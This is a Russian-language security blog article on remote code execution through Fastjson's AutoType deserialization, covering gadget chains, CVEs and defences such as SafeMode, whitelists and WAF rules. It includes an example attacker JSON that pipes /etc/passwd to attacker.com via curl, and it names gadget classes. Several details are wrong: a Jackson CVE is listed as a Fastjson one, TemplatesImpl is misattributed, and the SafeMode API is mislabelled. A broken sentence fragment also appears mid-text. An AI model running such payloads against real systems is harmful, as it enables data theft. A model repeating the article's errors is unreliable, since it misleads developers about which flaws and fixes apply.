RCE-уязвимость в Fastjson: эксплуатация через десериализацию и защита
📋 Кратко
Fastjson — популярная Java-библиотека от Alibaba для работы с JSON. Однако из-за особенностей десериализации и механизма AutoType она неоднократно становилась целью атак, приводящих к удалённому выполнению кода (RCE). В статье разбирается, как злоумышленники эксплуатируют уязвимости, какие версии под угрозой, и какие меры защиты (обновление, SafeMode, белые списки) помогут избежать компрометации.
Fastjson уже много лет остаётся одной из самых популярных библиотек для работы с JSON в экосистеме Java. Её скорость и удобство привлекли тысячи разработчиков, но вместе с популярностью пришли и проблемы безопасности. Начиная с 2017 года в Fastjson регулярно находят критические уязвимости, позволяющие выполнить произвольный код на сервере через специально сформированный JSON-пакет. В этой статье мы разберём, как работают такие атаки, какие CVE стоит знать и как защитить свои приложения.
🔍 Что такое Fastjson и почему он опасен?
Fastjson — это библиотека для сериализации и десериализации JSON в Java, разработанная Alibaba. Она поддерживает автоматическое преобразование JSON в объекты Java с помощью механизма AutoType: если в JSON указано поле @type, Fastjson пытается создать экземпляр указанного класса. Это удобно при работе с полиморфизмом, но открывает дверь для атак, если данные поступают от ненадёжного источника.
Опасность заключается в том, что злоумышленник может указать в @type имя класса, который при создании или десериализации выполняет опасные действия — например, запускает системную команду, открывает сетевое соединение или загружает файл. Такие цепочки классов называют gadget chains (цепочки гаджетов).
commons-collections, spring-aop) как гаджеты.⚙️ Как работает RCE-эксплуатация через десериализацию
Для эксплуатации уязвимости злоумышленнику необходимо отправить на сервер JSON-запрос, содержащий поле @type с именем вредоносного класса, и передать параметры, необходимые для инициализации этого класса. При обработке Fastjson создаёт объект указанного типа, что может запустить цепочку вызовов, приводящую к выполнению команды.
Упрощённый пример (псевдокод на Java):
// JSON от атакующего
{
"@type": "org.example.EvilClass",
"command": "curl http://attacker.com/steal?data=$(cat /etc/passwd)"
}
Если EvilClass имеет сеттер setCommand(), который вызывает Runtime.exec() — код выполнится. В реальных атаках используются классы из популярных библиотек, которые имеют побочные эффекты при десериализации (например, JdbcRowSetImpl из JNDI, TemplateImpl из Apache Commons).
Цепочки гаджетов (gadget chains)
Для успешной атаки нужно, чтобы в classpath приложения присутствовала библиотека, содержащая подходящий гаджет. Самые известные цепочки:
- JNDI — через
com.sun.rowset.JdbcRowSetImplможно загрузить удалённый класс по JNDI-ссылке (атака типа Log4Shell). - Apache Commons Collections —
org.apache.commons.collections.Transformerи последующие модификации. - Spring —
org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator.
Список известных гаджетов постоянно растёт, и разработчики Fastjson добавляют новые классы в чёрный список, но обходные пути появляются снова.
🎯 Реальные CVE и техники обхода AutoType
За годы существования Fastjson было зарегистрировано несколько десятков CVE, связанных с RCE. Наиболее значимые:
- CVE-2017-18349 — первая массовая уязвимость, затрагивает версии до 1.2.24. Позволяла выполнить код через класс
JdbcRowSetImpl. - CVE-2019-12384 — обход чёрного списка в версиях 1.2.24–1.2.47 с использованием
autoTypeSupport. - CVE-2020-8840 — ещё один обход, затронул версии до 1.2.62. Использовал класс
org.apache.xbean.propertyeditor.JndiConverter. - CVE-2022-25845 — одна из последних критических уязвимостей, затрагивает версии до 1.2.83 и 2.0.26. Обход чёрного списка через строковые значения.
Каждая новая уязвимость, как правило, обходит предыдущие механизмы блокировки. Разработчики Fastjson сначала вели чёрный список опасных классов, но атакующие находили классы, не попавшие в него. Затем был введён белый список (SafeMode), но по умолчанию AutoType остаётся включённым во многих конфигурациях.
🛡️ Методы защиты: от SafeMode до белых списков
Полностью защититься от атак на Fastjson можно несколькими способами, но самым надёжным считается отказ от использования AutoType там, где это возможно.
1. Обновление до последней версии
Разработчики Fastjson регулярно выпускают патчи. На момент написания статьи актуальные стабильные версии: 1.2.83 (ветка 1.x) и 2.0.26 (ветка 2.x). Установка последней версии закрывает известные уязвимости, но не защищает от будущих — поэтому обновление должно быть частью регулярного процесса управления уязвимостями.
2. Включение SafeMode (Fastjson 2.x)
В версии 2.0 появился режим SafeMode, который полностью отключает механизм AutoType. В этом режиме поле @type игнорируется, и десериализация происходит только на основе заранее заданных типов. Это кардинально снижает поверхность атаки.
// Включение SafeMode
ParserConfig.getGlobalInstance().setSafeMode(true);
3. Белые списки разрешённых классов
Если AutoType необходим (например, для работы с полиморфизмом), следует настроить строгий белый список классов, которые разрешено десериализовать. Fastjson поддерживает как глобальный белый список, так и локальный для конкретного парсера.
// Пример белого списка
ParserConfig.getGlobalInstance().addAccept("com.example.myapp.");
Никогда не добавляйте в белый список классы из сторонних библиотек, если они не проверены на безопасность.
4. Валидация входных данных (JSON Schema)
Используйте JSON Schema для проверки структуры и типов данных перед десериализацией. Это не защитит от атак с использованием легальных полей, но отсечёт аномальные запросы с неожиданными @type.
5. Альтернативные библиотеки
Если нет жёсткой привязки к Fastjson, рассмотрите переход на Jackson с корректной конфигурацией (отключение дефолтного типизирования) или Gson. Jackson также имеет уязвимости, но при грамотной настройке (например, ObjectMapper.enableDefaultTyping не рекомендуется) он безопаснее.
✅ Практические рекомендации для разработчиков и администраторов
Для снижения риска эксплуатации RCE-уязвимостей в Fastjson следуйте чек-листу:
- Аудит зависимостей: проверьте, какие версии Fastjson используются в ваших проектах. Используйте SCA-инструменты (например, OWASP Dependency-Check) для обнаружения уязвимых версий.
- Мониторинг CVE: подпишитесь на уведомления NVD или GitHub Advisory для Fastjson. Реагируйте на новые уязвимости в течение 24–48 часов.
- Тестирование на проникновение: включите в сценарии пентестов проверку десериализации JSON — отправляйте запросы с
@type: "java.lang.Runtime"и другими известными гаджетами. - Внедрение WAF: настройте Web Application Firewall (например, ModSecurity) на блокировку запросов, содержащих паттерны
@typeс подозрительными классами (JNDI, Runtime, ProcessBuilder). - Логирование и детект: фиксируйте события десериализации с неожиданными типами. Настройте SIEM на корреляцию таких событий с аномальной активностью.
RCE-уязвимости в Fastjson — классический пример компромисса между удобством разработки и безопасностью. Механизм AutoType, задуманный для гибкости, стал главным вектором атак. Единственный надёжный способ защиты — минимизация использования динамической десериализации, строгий контроль версий и регулярное обновление. Помните: безопасность Java-приложений начинается с управления зависимостями.
В следующей статье мы рассмотрим, как автоматизировать поиск уязвимостей типа insecure deserialization с помощью инструментов OWASP и коммерческих сканеров.
📚 Читайте также
- Как выявлять фрод по браузерным сигналам: антибот-методики
- Prompt Injection и безопасность ИИ-агентов: атаки на цепочку поставок кода
- GitHub режет баг-баунти вдвое: новые правила программы и что это значит для безопасников
- Контейнеры в OT: Как гарантировать целостность промышленных образов и систем
- Защита CI/CD пайплайнов: как предотвратить компрометацию поставки кода
📖 Термины
CVE (Common Vulnerabilities and Exposures) · OWASP · RCE (Remote Code Execution) · WAF · Десериализация
🔗 Источники
- GitHub Advisory – Fastjson Security Update 2022-05-23(2026-07-31 ✓)
- MITRE – CVE-2019-12384(2026-07-31 ✓)
- NVD – CVE-2020-8840(2026-07-31 ✓)
- NVD – CVE-2022-25845(2026-07-31 ✓)
- Xakep.ru – RCE-уязвимость в Fastjson используется в атаках(2026-07-31 ✓)